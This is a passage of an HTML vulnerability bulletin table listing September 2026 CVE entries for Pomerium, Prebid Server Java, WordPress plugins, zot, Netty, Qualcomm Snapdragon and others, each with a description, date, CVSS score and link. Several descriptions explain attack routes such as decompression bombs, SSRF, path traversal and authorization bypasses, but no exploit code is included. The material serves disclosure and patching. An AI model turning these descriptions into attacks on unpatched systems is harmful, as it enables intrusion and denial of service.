&lt;td&gt;Pomerium is an identity and context-aware access proxy. Prior to 0.32.8, decodeQueryStringV2 in pkg/hpke/url.go performs zstd decompression of attacker-controlled data without an output-memory limit when DecryptURLValues processes HPKE V2 values for Stateless.Callback in internal/authenticateflow/stateless.go. In hosted or stateless authentication deployments, an unauthenticated attacker can obtain the receiver key from /.well-known/pomerium/hpke-public-key, provide a matching attacker-controlled sender key, and send a compressed payload to /.pomerium/callback that expands before validateSenderPublicKey rejects the sender. This can allocate hundreds of megabytes per request, exhaust proxy memory, crash or degrade the process, and block access to applications protected by the deployment. Stateful deployments are not affected because the stateful callback verifies its HMAC signature before decryption and decompression. This issue is fixed in version 0.32.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50285&quot; target=&quot;_blank&quot;&gt;CVE-2026-50285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;prebid--prebid-server-java&lt;/td&gt;
&lt;td&gt;Prebid Server Java is the Java version of Prebid Server. Prior to 3.43.0, certain bidder adapters interpolate user-supplied parameters into outbound request URLs without using HttpUtil to validate the resulting domain or path segment. A malicious actor who can supply bid-request parameters can cause the server to send HTTP requests to unintended destinations, potentially reaching internal network services, metadata endpoints, or other sensitive server endpoints with the server&#039;s network access. This issue is fixed in version 3.43.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54734&quot; target=&quot;_blank&quot;&gt;CVE-2026-54734&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;printcart--Printcart Store Web to Print Product Designer for WooCommerce&lt;/td&gt;
&lt;td&gt;The Printcart Web to Print Product Designer for WooCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.8.5 via the &#039;mockups&#039; parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. A valid nonce is obtainable by unauthenticated users via the companion nbd_check_use_logged_in nopriv AJAX endpoint, which freely mints and returns a nbdesigner-get-data nonce to any visitor; additionally, if the NBDESIGNER_ENABLE_NONCE constant is disabled, even this nonce gate is bypassed entirely.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14323&quot; target=&quot;_blank&quot;&gt;CVE-2026-14323&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;project-zot--zot&lt;/td&gt;
&lt;td&gt;zot is a container image and artifact registry based on the Open Container Initiative Distribution Specification. Prior to 2.1.18, the bearer authentication handler in pkg/api/authn.go maps every HTTP method other than GET and HEAD to the push action, so DELETE requests are not checked for the distinct delete permission. Bearer-authenticated requests also bypass the fine-grained DistSpecAuthzHandler path in pkg/api/authz.go, while DeleteManifest and DeleteBlob perform no independent delete-permission check. A remote attacker with a bearer token limited to pull and push actions can therefore delete manifests and blobs within the token&#039;s repository scope, making images unavailable and allowing repository history to be altered despite the token lacking delete authorization. This issue is fixed in version 2.1.18.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61833&quot; target=&quot;_blank&quot;&gt;CVE-2026-61833&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectcapsule--capsule&lt;/td&gt;
&lt;td&gt;Capsule is a multi-tenancy and policy-based framework for Kubernetes. Prior to 0.13.7, ForbiddenListSpec.ExactMatch in pkg/api/forbidden_list.go sorts denied metadata keys case-insensitively and then uses sort.SearchStrings, which assumes byte-order sorting. When an administrator&#039;s forbidden list mixes capitalized and lowercase keys or otherwise has different case-insensitive and byte ordering, the binary search can return false for a key that is present. An authenticated tenant owner can then pass the missed key through api.ValidateForbidden and bypass configured namespace, Service, or delegated node metadata restrictions, potentially influencing cluster policies, network exposure, or scheduling outside the tenant boundary. Uniformly lowercase lists whose two orderings coincide are not affected. This issue is fixed in version 0.13.7.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61672&quot; target=&quot;_blank&quot;&gt;CVE-2026-61672&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectdiscovery--nuclei&lt;/td&gt;
&lt;td&gt;Nuclei versions before 3.11.1 cache template signature verification based only on file modification time without content checksums. Attackers can replace verified templates with unsigned malicious content and restore the original modification time to bypass signature checks and execute arbitrary operating system commands.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92718&quot; target=&quot;_blank&quot;&gt;CVE-2026-92718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;properfraction--Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile &amp;amp; Restrict Content ProfilePress&lt;/td&gt;
&lt;td&gt;The Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile &amp;amp; Restrict Content - ProfilePress plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 4.17.2 This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for authenticated attackers, with subscriber-level access and above, to execute arbitrary shortcodes.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85658&quot; target=&quot;_blank&quot;&gt;CVE-2026-85658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;proxy-addr--proxy-addr&lt;/td&gt;
&lt;td&gt;proxy-addr is a Node.js module that determines a request&#039;s client address behind trusted reverse proxies, and it backs Express req.ip and req.ips. In versions 1.1.0 through 2.0.7, a trust subnet written in IPv4-mapped IPv6 notation with an IPv4-sized prefix, such as ::ffff:10.0.0.0/8 instead of the correct ::ffff:10.0.0.0/104, is accepted without error but trusts every IPv4 address on the internet rather than the block it names. Because the socket peer then becomes trusted at hop 0, any unauthenticated client can supply an arbitrary X-Forwarded-For header and control the address the application reads, which defeats IP-based access control, rate limiting, geolocation, and audit logging. This is a fail-open regression introduced in version 1.1.0. The issue is fixed in proxy-addr 2.0.8, and users should upgrade to 2.0.8 or later. As a workaround, ensure any IPv4-mapped IPv6 trust subnet uses a prefix length of at least 97, or express the range in plain IPv4 notation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90711&quot; target=&quot;_blank&quot;&gt;CVE-2026-90711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PublishPress--PublishPress Series&lt;/td&gt;
&lt;td&gt;Administrator SQL Injection in PublishPress Series &amp;lt;= 3.1.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66630&quot; target=&quot;_blank&quot;&gt;CVE-2026-66630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PyMuPDF--PyMuPDF&lt;/td&gt;
&lt;td&gt;PyMuPDF through 1.28.2, fixed in commit b2c8f3a, contains a path traversal vulnerability in the font branch of extract_objects() in src/__main__.py, where the output filename is constructed by joining a document-controlled BaseFont name directly onto the user-supplied output directory without stripping path separators or dot-dot sequences. Attackers can supply a crafted PDF, EPUB, XPS, or FB2 file with a BaseFont name containing encoded path separators that decode to ../ sequences or absolute paths, causing arbitrary file writes outside the intended output directory without requiring authentication or elevated privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82035&quot; target=&quot;_blank&quot;&gt;CVE-2026-82035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Memory Corruption when copying unverified data from an external source exceeds the allocated buffer size.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25283&quot; target=&quot;_blank&quot;&gt;CVE-2026-25283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Memory Corruption when copying large input data exceeds normal allocation limits.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59607&quot; target=&quot;_blank&quot;&gt;CVE-2025-59607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Memory corruption when processing decode statistics due to insufficient validation of offset against structure size.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-24073&quot; target=&quot;_blank&quot;&gt;CVE-2026-24073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Memory Corruption when processing data with large offset and length values exceeds buffer limits during data copy operations.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-24074&quot; target=&quot;_blank&quot;&gt;CVE-2026-24074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Memory Corruption when multiple threads issue concurrent IOCTL requests to the device control handler due to improper synchronization and race conditions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-24075&quot; target=&quot;_blank&quot;&gt;CVE-2026-24075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Transient DOS when processing a channel map with insufficient used channels and adaptive frequency hopping is fully enabled.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-24081&quot; target=&quot;_blank&quot;&gt;CVE-2026-24081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Transient DOS when processing authentication frames with invalid FILS information element header lengths.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25275&quot; target=&quot;_blank&quot;&gt;CVE-2026-25275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Memory Corruption when processing I2C transfer requests due to a race condition between memory allocation and data copying.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25278&quot; target=&quot;_blank&quot;&gt;CVE-2026-25278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Memory corruption when processing escape handling flow with insufficient user buffer sizes.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25280&quot; target=&quot;_blank&quot;&gt;CVE-2026-25280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Transient DOS when processing large or numerous request buffers without sufficient memory allocation validation.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25281&quot; target=&quot;_blank&quot;&gt;CVE-2026-25281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Transient DOS when processing unverified data from a neighboring system causes out of bound memory access.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25282&quot; target=&quot;_blank&quot;&gt;CVE-2026-25282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Information Disclosure when a pointer is reused after being deallocated.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25284&quot; target=&quot;_blank&quot;&gt;CVE-2026-25284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Memory Corruption when validating large data buffers from external sources using addition to check buffer length.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25290&quot; target=&quot;_blank&quot;&gt;CVE-2026-25290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Transient DOS while parsing frame during channel usage.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25294&quot; target=&quot;_blank&quot;&gt;CVE-2026-25294&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;quickwit-oss--quickwit&lt;/td&gt;
&lt;td&gt;Quickwit through 0.9.0 fails to validate the host and scheme of the queue_url parameter in SQS file sources, allowing attackers to make the node issue requests to arbitrary internal addresses. Attackers can supply a malicious queue_url to the create-source API to scan internal networks and fingerprint services based on connection response differences.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92719&quot; target=&quot;_blank&quot;&gt;CVE-2026-92719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RazrFalcon--roxmltree&lt;/td&gt;
&lt;td&gt;roxmltree through 0.21.1 performs quadratic-time attribute and namespace validation during XML parsing without limits on attribute count. Attackers can craft XML documents with tens of thousands of attributes on a single element to consume excessive CPU time and cause denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92987&quot; target=&quot;_blank&quot;&gt;CVE-2026-92987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rcourtman--Pulse&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in rcourtman Pulse up to 6.0.4/6.1.0-rc.4. Affected by this issue is the function fmt.Sprintf of the file /api/security/quick-setup of the component Quick Security Setup Handler. The manipulation of the argument Username results in improper input validation. The attack may be performed from remote. Upgrading the affected component is advised.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92860&quot; target=&quot;_blank&quot;&gt;CVE-2026-92860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;reactphp--http&lt;/td&gt;
&lt;td&gt;react/http is an event-driven, streaming HTTP client and server implementation for ReactPHP. From 0.6.0 until 1.11.1, React\Http\Io\ChunkedDecoder could enter an infinite loop while processing a malformed Transfer-Encoding: chunked body because handleData required its buffer to shrink on every iteration. An incomplete terminal-chunk trailer without CRLF left the buffer unchanged after strpos returned false, and exactly two non-CRLF bytes after a completed non-terminal chunk bypassed both the error and wait guards. The affected decoder processes request bodies for React\Http\HttpServer and response bodies for React\Http\Browser, allowing a malicious client to freeze a server or a malicious or compromised server to freeze a client. A reverse proxy that normalizes inbound requests may protect the server direction but does not protect outbound Browser requests. This issue is fixed in version 1.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84997&quot; target=&quot;_blank&quot;&gt;CVE-2026-84997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Exploit Intelligence&lt;/td&gt;
&lt;td&gt;A flaw was found in quarkus-websockets-next. This vulnerability allows a remote attacker to cause a Denial of Service (DoS) by streaming messages over a single connection faster than the application can process them. Due to unbounded message buffering and a lack of read backpressure, this rapidly exhausts heap space, leading to a java.lang.OutOfMemoryError that crashes the Java Virtual Machine (JVM).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87742&quot; target=&quot;_blank&quot;&gt;CVE-2026-87742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Exploit Intelligence&lt;/td&gt;
&lt;td&gt;A flaw was found in Quarkus HTTP security. An unauthenticated attacker can exploit a discrepancy in how paths are normalized between the security matcher and HTTP request dispatchers. This allows the attacker to craft a URL that the security matcher considers public, but which is then routed to a protected endpoint, leading to an authorization bypass and potential unauthorized access to sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87743&quot; target=&quot;_blank&quot;&gt;CVE-2026-87743&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--N/A&lt;/td&gt;
&lt;td&gt;A flaw was found in RESTEasy&#039;s CorsFilter, which, when configured to allow all origins (&quot;*&quot;), reflects the request&#039;s Origin header back in the Access-Control-Allow-Origin response together with Access-Control-Allow-Credentials: true. This permissive cross-origin policy allows a malicious website to make credentialed cross-origin requests and read authenticated responses from a victim&#039;s session, resulting in a loss of confidentiality.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89058&quot; target=&quot;_blank&quot;&gt;CVE-2026-89058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--N/A&lt;/td&gt;
&lt;td&gt;A flaw was found in RESTEasy&#039;s IIOImageProvider, which decodes attacker-supplied image request bodies without enforcing any limit on the declared image dimensions or pixel count. A remote, unauthenticated attacker can send a small crafted image declaring enormous dimensions to trigger a very large memory allocation, exhausting the JVM heap and resulting in a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89059&quot; target=&quot;_blank&quot;&gt;CVE-2026-89059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Pen Drive Powered by Red Hat Lightspeed&lt;/td&gt;
&lt;td&gt;A flaw was found in Redis community. The cluster bus packet parser, responsible for handling PING, PONG, and MEET packets, fails to properly validate string-carrying extensions for null-termination. This oversight allows a remote attacker to craft a malicious packet, leading to an out-of-bounds read when the packet&#039;s payload is processed. Successful exploitation of this vulnerability could result in the disclosure of sensitive information or a remote denial of service (DoS).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92925&quot; target=&quot;_blank&quot;&gt;CVE-2026-92925&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty. A remote unauthenticated attacker can exploit a vulnerability in Netty&#039;s HTTP/1 to HTTP/2 conversion process. When an HTTP/1 request includes both an absolute-form request-target and a conflicting Host header, Netty incorrectly prioritizes the Host header for the HTTP/2 :authority field, discarding the original request-target authority. This inconsistency can allow an attacker to bypass security controls in Netty-based proxies or gateways, potentially leading to unauthorized access, cache poisoning, or misrouting of requests.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93569&quot; target=&quot;_blank&quot;&gt;CVE-2026-93569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty. SpdySessionHandler accepts an unlimited number of concurrent remote-initiated streams because localConcurrentStreams defaults to Integer.MAX_VALUE and the handler provides no API to change it. A remote peer can open a SPDY connection and send a large number of SYN_STREAM frames with FLAG_FIN=0, causing unbounded heap and direct memory allocation that can lead to JVM OutOfMemoryError and a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93488&quot; target=&quot;_blank&quot;&gt;CVE-2026-93488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s HttpServerCodec. A remote, unauthenticated attacker can exploit this vulnerability by pipelining HTTP/1.1 requests on a single connection and withholding reads. This action causes the methodOverflowQueue to grow without limit, leading to unbounded heap memory consumption and a denial of service due to memory exhaustion.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93491&quot; target=&quot;_blank&quot;&gt;CVE-2026-93491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s WebSocketServerExtensionHandler. A remote, unauthenticated attacker can exploit this vulnerability by using HTTP/1.1 pipelining to send requests faster than the application can respond. This leads to an unbounded growth of a per-connection queue, consuming excessive memory. Eventually, this can cause the Java Virtual Machine (JVM) to exhaust its heap, resulting in a Denial of Service (DoS) for the affected server.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93558&quot; target=&quot;_blank&quot;&gt;CVE-2026-93558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty. A reference-count leak in the HAProxy PROXY-v2 message decoder allows a remote, unauthenticated attacker to send specially crafted PROXY-protocol v2 headers. This can lead to memory exhaustion, resulting in a Denial of Service (DoS) for the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93564&quot; target=&quot;_blank&quot;&gt;CVE-2026-93564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty RtspDecoder. The `RtspMethods.valueOf()` function incorrectly strips trailing control bytes from method tokens in Real-Time Streaming Protocol (RTSP) requests. A remote attacker can exploit this by sending a specially crafted RTSP request, leading to method-token smuggling. This vulnerability allows an attacker to bypass method-based access controls and can also be used to launder malicious requests through Netty-based RTSP proxies, making them appear legitimate to backend systems.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93565&quot; target=&quot;_blank&quot;&gt;CVE-2026-93565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s HTTP/2 codec. When converting HTTP/1 CONNECT requests to HTTP/2, the component incorrectly uses the Host header instead of the CONNECT authority-form request-target for the tunnel authority. A remote attacker can exploit this by supplying a different Host header, leading to a malformed HTTP/2 CONNECT request. This can bypass security controls such as tunnel allow-lists or egress policies, resulting in integrity loss.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93567&quot; target=&quot;_blank&quot;&gt;CVE-2026-93567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
